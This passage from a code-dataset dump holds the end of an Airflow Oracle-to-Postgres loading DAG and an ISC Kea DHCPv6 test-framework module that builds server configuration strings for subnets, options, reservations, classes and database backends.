cursor:\n query = \"\"\n\n cursor.execute(metadata_query)\n for row in cursor:\n\n if row['load_type'] == 'f': # full\n query += \"-- '{tgt_table}' full reload\\n\".format(**row)\n query += \"truncate table {tgt_table};\\n\".format(**row)\n query += \"insert into {tgt_table} ({fields}) select {fields} from stg_{tgt_table};\\n\\n\".format(**row)\n\n elif row['load_type'] == 'i': # increment\n query += \"-- '{tgt_table}' increment load\\n\".format(**row)\n query += \"delete from {tgt_table} where {key_field} in (select {key_field} from stg_{tgt_table});\\n\".format(**row)\n query += \"insert into {tgt_table} ({fields}) select {fields} from stg_{tgt_table};\\n\\n\".format(**row)\n \n logging.info(f\"Сгенерирован запрос: \\n {query}\")\n return query\n\n\n######################################\n### DAG and Tasks definition ###\n######################################\nwith DAG('OEBS_Data_Load', default_args=default_args, schedule_interval='@daily', catchup=False) as dag:\n metadata_query = 'SELECT src_schema, src_table, fields, key_field, tgt_schema, tgt_table, load_type, conditions, use_conditions FROM public.tables_md'\n tgt_conn = PostgresHook(postgres_conn_id='postgres_tgt').get_conn()\n\n # Подключаемся к таблице метаданных, получаем список строк - таблиц источника и \n # генерируем подзадачи загрузки данных из источника\n with tgt_conn.cursor(cursor_factory=DictCursor) as cursor:\n cursor.execute(metadata_query)\n for row in cursor:\n params = dict(row)\n params['target_table_prefix'] = 'stg_'\n\n po = OracleToPostgresOperator(\n task_id='load_stg_{tgt_table}'.format(**row),\n oracle_conn_id='oracle_src',\n postgres_conn_id='postgres_tgt',\n # provide_context=True,\n params=params,\n batch_size=int(Variable.get(\"oebs.select.batch.size\", default_var=5000))\n )\n\n po \n\n\n tgt_conn.close()","sub_path":"FA/template_test.py","file_name":"template_test.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"520336132","text":"# Copyright (C) 2013-2018 Internet Systems Consortium.\n#\n# Permission to use, copy, modify, and distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND INTERNET SYSTEMS CONSORTIUM\n# DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL\n# INTERNET SYSTEMS CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT,\n# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING\n# FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION\n# WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n# Author: Wlodzimierz Wencel\n\n\nfrom softwaresupport.multi_server_functions import fabric_run_command, fabric_send_file,\\\n remove_local_file, copy_configuration_file, fabric_sudo_command, json_file_layout,\\\n fabric_download_file, fabric_remove_file_command, locate_entry, check_local_path_for_downloaded_files\nfrom protosupport.multi_protocol_functions import add_variable\nfrom functions_ddns import add_forward_ddns, add_reverse_ddns, add_keys, build_ddns_config\nfrom logging_facility import *\nfrom lettuce.registry import world\nfrom time import sleep\n\nworld.kea_options6 = {\n \"client-id\": 1,\n \"server-id\": 2,\n \"IA_NA\": 3,\n \"IN_TA\": 4,\n \"IA_address\": 5,\n \"preference\": 7,\n \"relay-msg\": 9,\n \"unicast\": 12,\n \"status-code\": 13,\n \"rapid_commit\": 14,\n \"interface-id\": 18,\n \"sip-server-dns\": 21,\n \"sip-server-addr\": 22,\n \"dns-servers\": 23,\n \"domain-search\": 24,\n \"IA_PD\": 25,\n \"IA-Prefix\": 26,\n \"nis-servers\": 27,\n \"nisp-servers\": 28,\n \"nis-domain-name\": 29,\n \"nisp-domain-name\": 30,\n \"sntp-servers\": 31,\n \"information-refresh-time\": 32,\n \"bcmcs-server-dns\": 33,\n \"bcmcs-server-addr\": 34,\n \"pana-agent\": 40,\n \"new-posix-timezone\": 41,\n \"new-tzdb-timezone\": 42,\n \"lq-client-link\": 48,\n \"bootfile-url\": 59,\n \"bootfile-param\": 60,\n \"erp-local-domain-name\": 65\n}\n# kea_otheroptions was originally designed for vendor options\n# because codes sometime overlap with basic options\nkea_otheroptions = {\n \"tftp-servers\": 32,\n \"config-file\": 33,\n \"syslog-servers\": 34,\n \"device-id\": 36,\n \"time-servers\": 37,\n \"time-offset\": 38\n}\n\n\ndef config_srv_id(id_type, id_value):\n id_value = id_value.replace(\":\", \"\")\n if id_type == \"EN\":\n world.cfg[\"server-id\"] = '\"server-id\": {\"type\": \"EN\", \"enterprise-id\": ' + str(int(id_value[4:12], 16)) \\\n + ', \"identifier\":\" ' + id_value[12:] + ' \"},'\n elif id_type == \"LLT\":\n world.cfg[\"server-id\"] = '\"server-id\": {\"type\": \"LLT\", \"htype\": ' + str(int(id_value[4:8], 16))\\\n + ', \"identifier\": \"' + id_value[16:]\\\n + '\", \"time\": ' + str(int(id_value[8:16], 16)) + ' },'\n elif id_type == \"LL\":\n world.cfg[\"server-id\"] = '\"server-id\": {\"type\": \"LL\", \"htype\": ' + str(int(id_value[4:8], 16)) \\\n + ', \"identifier\": \"' + id_value[8:] + ' \"},'\n else:\n assert False, \"DUID type unknown.\"\n\n\ndef set_time(step, which_time, value, subnet=None):\n assert which_time in world.cfg[\"server_times\"], \"Unknown time name: %s\" % which_time\n\n if subnet is None:\n world.cfg[\"server_times\"][which_time] = value\n else:\n subnet = int(subnet)\n if len(world.subcfg[subnet][3]) > 2:\n world.subcfg[subnet][3] += ', '\n world.subcfg[subnet][3] += '\"{which_time}\": {value}'.format(**locals())\n\n# =============================================================\n# ================ PREPARE CONFIG BLOCK START =================\n# world.subcfg - is prepare for multi-subnet configuration\n# it's concatenated lists:\n# world.subcfg[0] - default subnet\n# each another subnet is append to world.subcfg\n\n\ndef add_interface(eth):\n if len(world.cfg[\"interfaces\"]) > 3:\n world.cfg[\"interfaces\"] += ','\n world.cfg[\"interfaces\"] += '\"{eth}\"'.format(**locals())\n\n\ndef add_defaults():\n t1 = world.cfg[\"server_times\"][\"renew-timer\"]\n t2 = world.cfg[\"server_times\"][\"rebind-timer\"]\n t3 = world.cfg[\"server_times\"][\"preferred-lifetime\"]\n t4 = world.cfg[\"server_times\"][\"valid-lifetime\"]\n eth = world.f_cfg.server_iface\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n world.cfg[\"main\"] = '''\n {pointer_start} \"Dhcp6\" :\n\n {pointer_start}\n \"renew-timer\": {t1},\n \"rebind-timer\": {t2},\n \"preferred-lifetime\": {t3},\n \"valid-lifetime\": {t4},\n '''.format(**locals())\n if \"global_parameters\" in world.cfg:\n world.cfg[\"main\"] += world.cfg[\"global_parameters\"]\n\n if eth is not None and eth not in world.cfg[\"interfaces\"]:\n add_interface(eth)\n\n\ndef set_conf_parameter_global(parameter_name, value):\n if \"global_parameters\" not in world.cfg:\n world.cfg[\"global_parameters\"] = ''\n\n world.cfg[\"global_parameters\"] += '\"{parameter_name}\": {value},'.format(**locals())\n\n\ndef set_conf_parameter_subnet(parameter_name, value, subnet_id):\n world.subcfg[subnet_id][0] += ',\"{parameter_name}\": {value}'.format(**locals())\n\n\ndef prepare_cfg_subnet(step, subnet, pool, eth=None):\n # world.subcfg[0] = [main, prefixes, options, single options, pools, host reservation]\n if subnet == \"default\":\n subnet = \"2001:db8:1::/64\"\n if pool == \"default\":\n pool = \"2001:db8:1::1 - 2001:db8:1::ffff\"\n if eth is None:\n eth = world.f_cfg.server_iface\n\n if \"interfaces\" not in world.cfg:\n world.cfg[\"interfaces\"] = ''\n\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n if subnet is not \"\":\n world.subcfg[world.dhcp[\"subnet_cnt\"]][0] += '''{pointer_start} \"subnet\": \"{subnet}\"'''.format(**locals())\n else:\n world.subnet_add = False\n if pool is not \"\":\n world.subcfg[world.dhcp[\"subnet_cnt\"]][4] += '{pointer_start}\"pool\": \"{pool}\" {pointer_end}'.format(**locals())\n\n if eth not in world.cfg[\"interfaces\"]:\n add_interface(eth)\n\n\ndef prepare_cfg_subnet_specific_interface(step, interface, address, subnet, pool):\n if subnet == \"default\":\n subnet = \"2001:db8:1::/64\"\n if pool == \"default\":\n pool = \"2001:db8:1::1 - 2001:db8:1::ffff\"\n\n eth = world.f_cfg.server_iface\n\n if \"interfaces\" not in world.cfg:\n world.cfg[\"interfaces\"] = ''\n\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n if subnet is not \"\":\n world.subcfg[world.dhcp[\"subnet_cnt\"]][0] += '''{pointer_start} \"subnet\": \"{subnet}\"'''.format(**locals())\n else:\n world.subnet_add = False\n if pool is not \"\":\n world.subcfg[world.dhcp[\"subnet_cnt\"]][4] += '{pointer_start}\"pool\": \"{pool}\" {pointer_end}'.format(**locals())\n\n if len(world.cfg[\"interfaces\"]) > 3:\n world.cfg[\"interfaces\"] += ','\n world.cfg[\"interfaces\"] += '\"{interface}/{address}\"'.format(**locals())\n\n\ndef add_to_shared_subnet(subnet_id, shared_subnet_id):\n if len(world.shared_subnets) <= shared_subnet_id:\n world.shared_subnets.append([])\n world.shared_subcfg.append([\"\"])\n world.shared_subnets[shared_subnet_id].append(subnet_id)\n world.shared_subnets_tmp.append(subnet_id)\n\n\ndef add_line_to_shared_subnet(subnet_id, cfg_line):\n if len(world.shared_subcfg[subnet_id][0]) > 1:\n world.shared_subcfg[subnet_id][0] += \",\"\n world.shared_subcfg[subnet_id][0] += cfg_line\n\n\ndef prepare_cfg_add_option_shared_subnet(step, option_name, shared_subnet, option_value):\n # check if we are configuring default option or user option via function \"prepare_cfg_add_custom_option\"\n space = world.cfg[\"space\"]\n shared_subnet = int(shared_subnet)\n option_code = world.kea_options6.get(option_name)\n if option_code is None:\n option_code = kea_otheroptions.get(option_name)\n\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n assert option_code is not None, \"Unsupported option name for other Kea6 options: \" + option_name\n if len(world.shared_subcfg[shared_subnet][0]) > 10:\n world.shared_subcfg[shared_subnet][0] += ','\n\n world.shared_subcfg[shared_subnet][0] += '''\n {pointer_start}\"csv-format\": true, \"code\": {option_code}, \"data\": \"{option_value}\",\n \"name\": \"{option_name}\", \"space\": \"{space}\"{pointer_end}'''.format(**locals())\n\n\ndef set_conf_parameter_shared_subnet(parameter_name, value, subnet_id):\n if len(world.shared_subcfg[subnet_id][0]) > 1:\n world.shared_subcfg[subnet_id][0] += ','\n world.shared_subcfg[subnet_id][0] += '\"{parameter_name}\": {value}'.format(**locals())\n\n\ndef add_pool_to_subnet(step, pool, subnet):\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n world.subcfg[subnet][4] += ',{pointer_start}\"pool\": \"{pool}\"{pointer_end}'.format(**locals())\n pass\n\n\ndef config_srv_another_subnet(step, subnet, pool, eth):\n world.subcfg.append([\"\", \"\", \"\", \"\", \"\", \"\", \"\"])\n world.dhcp[\"subnet_cnt\"] += 1\n\n prepare_cfg_subnet(step, subnet, pool, eth)\n\n\ndef config_client_classification(step, subnet, option_value):\n subnet = int(subnet)\n if len(world.subcfg[subnet][3]) > 2:\n world.subcfg[subnet][3] += ', '\n world.subcfg[subnet][3] += '\"client-class\": \"{option_value}\"\\n'.format(**locals())\n\n\ndef config_require_client_classification(step, subnet, option_value):\n subnet = int(subnet)\n if len(world.subcfg[subnet][3]) > 2:\n world.subcfg[subnet][3] += ', '\n world.subcfg[subnet][3] += '\"require-client-classes\": [\"{option_value}\"]\\n'.format(**locals())\n\n\ndef prepare_cfg_prefix(step, prefix, length, delegated_length, subnet):\n subnet = int(subnet)\n pointer_start = \"{\"\n pointer_end = \"}\"\n world.subcfg[subnet][1] += \"\"\"\n \"pd-pools\": [\n {pointer_start}\"delegated-len\": {delegated_length},\n \"prefix\": \"{prefix}\",\n \"prefix-len\": {length} {pointer_end}]\"\"\".format(**locals())\n\n\ndef prepare_cfg_add_option(step, option_name, option_value, space,\n option_code=None, option_type='default', where='options'):\n if where not in world.cfg:\n world.cfg[where] = '\"option-data\": ['\n else:\n world.cfg[where] += \",\"\n\n # check if we are configuring default option or user option via function \"prepare_cfg_add_custom_option\"\n if option_type == 'default':\n option_code = world.kea_options6.get(option_name)\n if option_code is None:\n option_code = kea_otheroptions.get(option_name)\n\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n assert option_code is not None, \"Unsupported option name for other Kea6 options: \" + option_name\n\n world.cfg[where] += '''\n {pointer_start}\"csv-format\": true, \"code\": {option_code}, \"data\": \"{option_value}\",\n \"name\": \"{option_name}\", \"space\": \"{space}\"{pointer_end}'''.format(**locals())\n\n\ndef prepare_cfg_add_custom_option(step, opt_name, opt_code, opt_type, opt_value, space):\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n if \"option_def\" not in world.cfg:\n world.cfg[\"option_def\"] = '\"option-def\": ['\n else:\n world.cfg[\"option_def\"] += \",\"\n\n # make definition of the new option\n world.cfg[\"option_def\"] += '''\n {pointer_start}\"code\": {opt_code}, \"name\": \"{opt_name}\", \"space\": \"{space}\",\n \"encapsulate\": \"\", \"record-types\": \"\", \"array\": false, \"type\": \"{opt_type}\"{pointer_end}'''\\\n .format(**locals())\n\n # add defined option\n prepare_cfg_add_option(step, opt_name, opt_value, space, opt_code, 'user')\n\n\ndef prepare_cfg_add_option_subnet(step, option_name, subnet, option_value):\n # check if we are configuring default option or user option via function \"prepare_cfg_add_custom_option\"\n space = world.cfg[\"space\"]\n subnet = int(subnet)\n option_code = world.kea_options6.get(option_name)\n if option_code is None:\n option_code = kea_otheroptions.get(option_name)\n\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n assert option_code is not None, \"Unsupported option name for other Kea6 options: \" + option_name\n if len(world.subcfg[subnet][2]) > 10:\n world.subcfg[subnet][2] += ','\n\n world.subcfg[subnet][2] += '''\n {pointer_start}\"csv-format\": true, \"code\": {option_code}, \"data\": \"{option_value}\",\n \"name\": \"{option_name}\", \"space\": \"{space}\"{pointer_end}'''.format(**locals())\n\n\ndef add_line_in_global(command):\n if \"custom_lines\" not in world.cfg:\n world.cfg[\"custom_lines\"] = ''\n\n world.cfg[\"custom_lines\"] += ('\\n'+command+'\\n')\n\n\ndef add_line_in_subnet(subnetid, command):\n if len(world.subcfg[subnetid][0][-1:]) == \",\":\n world.subcfg[subnetid][0] += \",\"\n world.subcfg[subnetid][0] += command\n else:\n world.subcfg[subnetid][0] += command\n\n\ndef set_logger():\n pass\n assert False, \"For now option unavailable!\"\n\n\ndef host_reservation(reservation_type, reserved_value, unique_host_value_type, unique_host_value, subnet):\n if len(world.subcfg[subnet][5]) > 20:\n world.subcfg[subnet][5] += ','\n\n world.subcfg[subnet][5] += \"{\"\n if reservation_type == \"address\":\n world.subcfg[subnet][5] += '\"{unique_host_value_type}\":\"{unique_host_value}\",' \\\n '\"ip-addresses\":[\"{reserved_value}\"]'.format(**locals())\n elif reservation_type == \"prefix\":\n world.subcfg[subnet][5] += '\"{unique_host_value_type}\":\"{unique_host_value}\",' \\\n '\"prefixes\":[\"{reserved_value}\"]'.format(**locals())\n elif reservation_type == \"hostname\":\n world.subcfg[subnet][5] += '\"{unique_host_value_type}\":\"{unique_host_value}\",' \\\n '\"hostname\":\"{reserved_value}\"'.format(**locals())\n world.subcfg[subnet][5] += \"}\"\n\n\ndef host_reservation_extension(reservation_number, subnet, reservation_type, reserved_value):\n pointer = locate_entry(world.subcfg[subnet][5], '}', reservation_number)\n\n if reservation_type == \"address\":\n tmp = world.subcfg[subnet][5][:pointer] + ',\"ip-addresses\":[\"{reserved_value}\"]'.format(**locals())\n tmp += world.subcfg[subnet][5][pointer:]\n elif reservation_type == \"prefix\":\n tmp = world.subcfg[subnet][5][:pointer] + ',\"prefixes\":[\"{reserved_value}\"]'.format(**locals())\n tmp += world.subcfg[subnet][5][pointer:]\n elif reservation_type == \"hostname\":\n tmp = world.subcfg[subnet][5][:pointer] + ',\"hostname\":\"{reserved_value}\"'.format(**locals())\n tmp += world.subcfg[subnet][5][pointer:]\n else:\n assert False, \"Not supported\"\n # TODO implement this if we needs it.\n world.subcfg[subnet][5] = tmp\n\n\ndef create_new_class(class_name):\n world.classification.append([class_name, \"\", \"\"]) # class name, class test (now empty), list of class options\n\n\ndef add_test_to_class(class_number, parameter_name, parameter_value):\n if len(world.classification[class_number-1][1]) > 5:\n world.classification[class_number-1][1] += ','\n if parameter_value[0] in [\"[\", \"{\"] or parameter_value in [\"true\", \"false\"]:\n world.classification[class_number-1][1] += '\"{parameter_name}\" : {parameter_value}'.format(**locals())\n else:\n world.classification[class_number-1][1] += '\"{parameter_name}\" : \"{parameter_value}\"'.format(**locals())\n\n\ndef add_option_to_defined_class(class_no, option_name, option_value):\n space = world.cfg[\"space\"]\n option_code = world.kea_options6.get(option_name)\n if option_code is None:\n option_code = kea_otheroptions.get(option_name)\n\n pointer_start = \"{\"\n pointer_end = \"}\"\n\n assert option_code is not None, \"Unsupported option name for other Kea6 options: \" + option_name\n if len(world.classification[class_no-1][2]) > 10:\n world.classification[class_no-1][2] += ','\n\n world.classification[class_no-1][2] += '''\n {pointer_start}\"csv-format\": true, \"code\": {option_code}, \"data\": \"{option_value}\",\n \"name\": \"{option_name}\", \"space\": \"{space}\"{pointer_end}'''.format(**locals())\n\n\ndef set_kea_ctrl_config():\n path = world.f_cfg.software_install_path[:-1]\n\n kea6 = 'no'\n kea4 = 'no'\n ddns = 'no'\n ctrl_agent = 'no'\n if \"kea6\" in world.cfg[\"dhcp_under_test\"]:\n kea6 = 'yes'\n elif \"kea4\" in world.cfg[\"dhcp_under_test\"]:\n kea4 = 'yes'\n if world.ddns_enable:\n ddns = 'yes'\n if world.ctrl_enable:\n ctrl_agent = 'yes'\n world.cfg[\"keactrl\"] = '''kea_config_file={path}/etc/kea/kea.conf\n dhcp4_srv={path}/sbin/kea-dhcp4\n dhcp6_srv={path}/sbin/kea-dhcp6\n dhcp_ddns_srv={path}/sbin/kea-dhcp-ddns\n ctrl_agent_srv={path}/sbin/kea-ctrl-agent\n kea_dhcp4_config_file={path}/etc/kea/kea.conf\n kea_dhcp6_config_file={path}/etc/kea/kea.conf\n kea_dhcp_ddns_config_file={path}/etc/kea/kea.conf\n kea_ctrl_agent_config_file={path}/etc/kea/kea.conf\n dhcp4={kea4}\n dhcp6={kea6}\n dhcp_ddns={ddns}\n kea_verbose=no\n ctrl_agent={ctrl_agent}\n '''.format(**locals())\n\n\ndef add_simple_opt(passed_option):\n if \"simple_options\" not in world.cfg:\n world.cfg[\"simple_options\"] = ''\n else:\n world.cfg[\"simple_options\"] += \",\"\n world.cfg[\"simple_options\"] += passed_option\n\n\ndef add_option_to_main(option, value):\n pass\n # if value in [\"True\", \"true\", \"TRUE\", \"False\", \"FALSE\", \"false\"]:\n # world.cfg[\"main\"] += ',\"{option}\":{value}'.format(**locals())\n # else:\n # world.cfg[\"main\"] += ',\"{option}\":\"{value}\"'.format(**locals())\n\n\ndef config_add_reservation_database():\n db_type = world.reservation_backend\n db_name = world.f_cfg.db_name\n db_user = world.f_cfg.db_user\n db_passwd = world.f_cfg.db_passwd\n pointer_start = '{'\n pointer_end = '}'\n if world.f_cfg.db_host == \"\" or world.f_cfg.db_host == \"localhost\":\n db_host = \"\"\n\n if world.reservation_backend in [\"mysql\", \"postgresql\"]:\n add_simple_opt('''\"hosts-database\":{pointer_start}\"type\": \"{db_type}\",\n \"name\":\"{db_name}\", \"host\":\"{db_host}\", \"user\":\"{db_user}\",\n \"password\":\"{db_passwd}\"{pointer_end}'''.format(**locals()))\n\n # TODO remove hardcoded values for cassandra\n if world.reservation_backend in [\"cql\"]:\n add_simple_opt('''\"hosts-database\":{pointer_start}\"type\": \"{db_type}\",\n \"keyspace\":\"keatest\", \"host\":\"\", \"user\":\"keatest\",\n \"password\":\"keatest\"{pointer_end}'''.format(**locals()))\n\n\ndef config_db_backend():\n if world.f_cfg.db_type == \"\" or world.f_cfg.db_type == \"memfile\":\n add_simple_opt('\"lease-database\":{\"type\": \"memfile\"}')\n # add_simple_opt('\"lease-database\":{\"type\": \"memfile\", \"lfc-interval\": 10}')\n else:\n pointer_start = '{'\n pointer_end = '}'\n db_type = world.f_cfg.db_type\n db_name = world.f_cfg.db_name\n db_user = world.f_cfg.db_user\n db_passwd = world.f_cfg.db_passwd\n if world.f_cfg.db_host == \"\" or world.f_cfg.db_host == \"localhost\":\n db_host = \"\"\n else:\n db_host = world.f_cfg.db_host\n if db_type in [\"mysql\", \"postgresql\"]:\n add_simple_opt('''\"lease-database\":{pointer_start}\"type\": \"{db_type}\",\n \"name\":\"{db_name}\", \"host\":\"{db_host}\", \"user\":\"{db_user}\",\n \"password\":\"{db_passwd}\"{pointer_end}'''.format(**locals()))\n # TODO remove hardcoded values for cassandra\n elif db_type in [\"cql\"]:\n add_simple_opt('''\"lease-database\":{pointer_start}\"type\": \"{db_type}\",\n \"keyspace\":\"keatest\", \"host\":\"\", \"user\":\"keatest\",\n \"password\":\"keatest\"{pointer_end}'''.format(**locals()))\n config_add_reservation_database()\n\n\ndef add_hooks(library_path):\n world.hooks.append([library_path, []])\n\n\ndef add_parameter_to_hook(hook_no, parameter_name, parameter_value):\n try:\n world.hooks[hook_no-1][1].append([parameter_name, parameter_value])\n except():\n assert False, \"There is no hook with such number, add hook first.\"\n\n\ndef add_logger(log_type, severity, severity_level, logging_file):\n if \"logger\" not in world.cfg:\n world.cfg[\"logger\"] = ''\n else:\n if len(world.cfg[\"logger\"]) > 20:\n world.cfg[\"logger\"] += ','\n logging_file_path = world.f_cfg.software_install_path + 'var/kea/' + logging_file\n if severity_level != \"None\":\n world.cfg[\"logger\"] += '{\"name\": \"' + log_type + '\",\"output_options\": [{\"output\": \"' + logging_file_path + '\"' \\\n '}],\"debuglevel\": ' + severity_level + ',\"severity\": ' \\\n '\"' + severity + '\"}'\n else:\n world.cfg[\"logger\"] += '{\"name\": \"' + log_type + '\",\"output_options\": [{\"output\": \"' + logging_file_path + '\"' \\\n '}],\"severity\": ' \\\n '\"' + severity + '\"}'\n\n\ndef open_control_channel_socket(socket_type, socket_name):\n world.cfg[\"socket\"] = '\"control-socket\": {\"socket-type\": \"' +\\\n socket_type + '\",\"socket-name\": \"' + socket_name + '\"}'\n\n\ndef agent_control_channel(host_address, host_port, socket_type, socket_name):\n world.ctrl_enable = True\n world.cfg[\"agent\"] = '\"Control-agent\":{\"http-host\": \"' + host_address\n world.cfg[\"agent\"] += '\",\"http-port\":' + host_port\n world.cfg[\"agent\"] += ',\"control-sockets\":{\"dhcp6\":{\"socket-type\": \"' + socket_type\n world.cfg[\"agent\"] += '\",\"socket-name\": \"' + socket_name\n world.cfg[\"agent\"] += '\"}}}'\n # add_hooks(world.f_cfg.software_install_path + 'lib/control-agent-commands.so')\n\n\ndef ha_add_parameter_to_hook(parameter_name, parameter_value):\n if parameter_name == \"lib\":\n world.kea_ha[0].append(parameter_value)\n elif parameter_name == \"machine-state\":\n world.kea_ha[3] += ([parameter_value])\n elif parameter_name == \"peers\":\n world.kea_ha[2] += ([parameter_value])\n else:\n world.kea_ha[1] += ([[parameter_name, parameter_value]])\n\n\ndef cfg_write():\n config_db_backend()\n for number in range(0, len(world.subcfg)):\n if len(world.subcfg[number][2]) > 10:\n world.subcfg[number][2] = '\"option-data\": [' + world.subcfg[number][2] + \"]\"\n if len(world.subcfg[number][4]) > 10:\n world.subcfg[number][4] = '\"pools\": [' + world.subcfg[number][4] + \"]\"\n if len(world.subcfg[number][5]) > 10:\n world.subcfg[number][5] = '\"reservations\":[' + world.subcfg[number][5] + \"]\"\n cfg_file = open(world.cfg[\"cfg_file\"], 'w')\n # add timers\n cfg_file.write(world.cfg[\"main\"])\n if len(world.cfg[\"server-id\"]) > 5:\n cfg_file.write(world.cfg[\"server-id\"])\n # add class definitions\n if len(world.classification) > 0:\n if len(world.classification[0][0]) > 0:\n cfg_file.write('\"client-classes\": [')\n counter = 0\n for each_class in world.classification:\n if counter > 0:\n cfg_file.write(',')\n cfg_file.write('{') # open class\n cfg_file.write('\"name\":\"' + each_class[0] + '\"')\n if len(each_class[1]) > 0:\n cfg_file.write(\",\" + each_class[1])\n if len(each_class[2]) > 0:\n cfg_file.write(',\"option-data\": [' + each_class[2] + \"]\")\n cfg_file.write('}') # close each class\n counter += 1\n cfg_file.write(\"],\") # close classes\n # add interfaces\n cfg_file.write('\"interfaces-config\": { \"interfaces\": [ ' + world.cfg[\"interfaces\"] + ' ] },')\n # add header for subnets\n if world.subnet_add:\n if \"kea6\" in world.cfg[\"dhcp_under_test\"]:\n cfg_file.write('\"subnet6\":[')\n elif \"kea4\" in world.cfg[\"dhcp_under_test\"]:\n cfg_file.write('\"subnet4\":[')\n # add subnets\n counter = 0\n comma = 0\n for each_subnet in world.subcfg:\n if counter in world.shared_subnets_tmp:\n # subnets that suppose to go to shared-networks should be omitted here\n counter += 1\n continue\n if counter > 0 and comma == 1:\n cfg_file.write(\",\")\n tmp = each_subnet[0]\n # we need to be able to add interface-id to config but we want to keep backward compatibility.\n if \"interface\" not in tmp or \"interface-id\" not in tmp:\n eth = world.f_cfg.server_iface\n tmp += ', \"interface\": \"{eth}\" '.format(**locals())\n counter += 1\n comma = 1\n for each_subnet_config_part in each_subnet[1:]:\n if len(each_subnet_config_part) > 0:\n tmp += ',' + each_subnet_config_part\n cfg_file.write(tmp + '}')\n cfg_file.write(']')\n # that is ugly hack but kea confing generation is awaiting rebuild anyway\n if \"options\" in world.cfg:\n cfg_file.write(',' + world.cfg[\"options\"])\n cfg_file.write(\"]\")\n del world.cfg[\"options\"]\n\n if \"options\" in world.cfg:\n cfg_file.write(world.cfg[\"options\"])\n cfg_file.write(\"]\")\n del world.cfg[\"options\"]\n\n if \"option_def\" in world.cfg:\n cfg_file.write(',' + world.cfg[\"option_def\"])\n cfg_file.write(\"]\")\n del world.cfg[\"option_def\"]\n\n if len(world.hooks) > 0 or len(world.kea_ha[0]) > 0:\n cfg_file.write(',\"hooks-libraries\": [')\n test_length_1 = len(world.hooks)\n counter_1 = 1\n for each_hook in world.hooks:\n cfg_file.write('{\"library\": \"' + each_hook[0] + '\"')\n if len(each_hook[1]) > 0:\n cfg_file.write(',\"parameters\": {')\n test_length_2 = len(each_hook[1])\n counter_2 = 1\n for every_parameter in each_hook[1]:\n cfg_file.write('\"' + every_parameter[0] + '\":')\n if every_parameter[1] in [\"true\", \"false\"]: # TODO add if value is numeric\n cfg_file.write(every_parameter[1])\n else:\n cfg_file.write('\"' + every_parameter[1] + '\"')\n if counter_2 < test_length_2:\n cfg_file.write(',')\n counter_2 += 1\n cfg_file.write('}') # closing parameters\n if counter_1 < test_length_1:\n cfg_file.write('},')\n counter_1 += 1\n cfg_file.write('}') # closing libs\n if len(world.kea_ha[0]) > 0:\n if len(world.hooks) > 0:\n cfg_file.write(',')\n cfg_file.write('{\"library\": \"' + world.kea_ha[0][0] + '\",\"parameters\":{\"high-availability\":[{')\n # add single parameters to main map\n for each_param in world.kea_ha[1]:\n cfg_file.write('\"'+each_param[0]+'\":'+each_param[1]+\",\")\n # add peers\n cfg_file.write('\"peers\": [')\n for each_ha_peer in world.kea_ha[2]:\n cfg_file.write(each_ha_peer)\n if world.kea_ha[2].index(each_ha_peer) != len(world.kea_ha[2]) - 1:\n cfg_file.write(\",\")\n cfg_file.write(']')\n if len(world.kea_ha[3]) > 0:\n cfg_file.write(',\"state-machine\":{\"states\":[')\n for each_state in world.kea_ha[3]:\n cfg_file.write(each_state)\n if world.kea_ha[3].index(each_state) != len(world.kea_ha[3]) - 1:\n cfg_file.write(\",\")\n cfg_file.write(']}')\n cfg_file.write('}]}}')\n\n cfg_file.write(']') # closing hooks\n\n if \"simple_options\" in world.cfg:\n cfg_file.write(',' + world.cfg[\"simple_options\"])\n del world.cfg[\"simple_options\"]\n\n if world.ddns_enable:\n cfg_file.write(',' + world.ddns_add + '}')\n\n if \"custom_lines\" in world.cfg:\n cfg_file.write(',' + world.cfg[\"custom_lines\"])\n # cfg_file.write(\"]\")\n del world.cfg[\"custom_lines\"]\n\n if \"socket\" in world.cfg:\n cfg_file.write(',' + world.cfg[\"socket\"])\n del world.cfg[\"socket\"]\n\n if len(world.shared_subnets) > 0:\n shared_counter = 0\n last_option = \"\"\n cfg_file.write(' ,\"shared-networks\":[')\n for each_shared_subnet in world.shared_subnets:\n counter = 0\n comma = 0\n if shared_counter > 0:\n cfg_file.write(',')\n cfg_file.write('{')\n\n for each_option in world.shared_subcfg[shared_counter]:\n cfg_file.write(each_option)\n last_option = each_option\n\n if last_option[:-1] != \",\":\n cfg_file.write(\",\")\n\n if \"kea6\" in world.cfg[\"dhcp_under_test\"]:\n cfg_file.write('\"subnet6\":[')\n\n elif \"kea4\" in world.cfg[\"dhcp_under_test\"]:\n cfg_file.write('\"subnet4\":[')\n\n for each_subnet in world.subcfg:\n if counter in each_shared_subnet:\n if counter > 0 and comma == 1:\n cfg_file.write(\",\")\n tmp = each_subnet[0]\n # we need to be able to add interface-id to config but we want to keep backward compatibility.\n # if \"interface\" not in tmp or \"interface-id\" not in tmp:\n # eth = world.f_cfg.server_iface\n # tmp += ', \"interface\": \"{eth}\" '.format(**locals())\n counter += 1\n comma = 1\n\n for each_subnet_config_part in each_subnet[1:]:\n if len(each_subnet_config_part) > 0:\n tmp += ',' + each_subnet_config_part\n # tmp += str(each_subnet[-1])\n cfg_file.write(tmp + '}')\n else:\n counter += 1\n # shared_counter += 1\n cfg_file.write(']')\n shared_counter += 1\n cfg_file.write('}') # end of map of each shared network\n cfg_file.write(']') # end of shared networks list\n\n 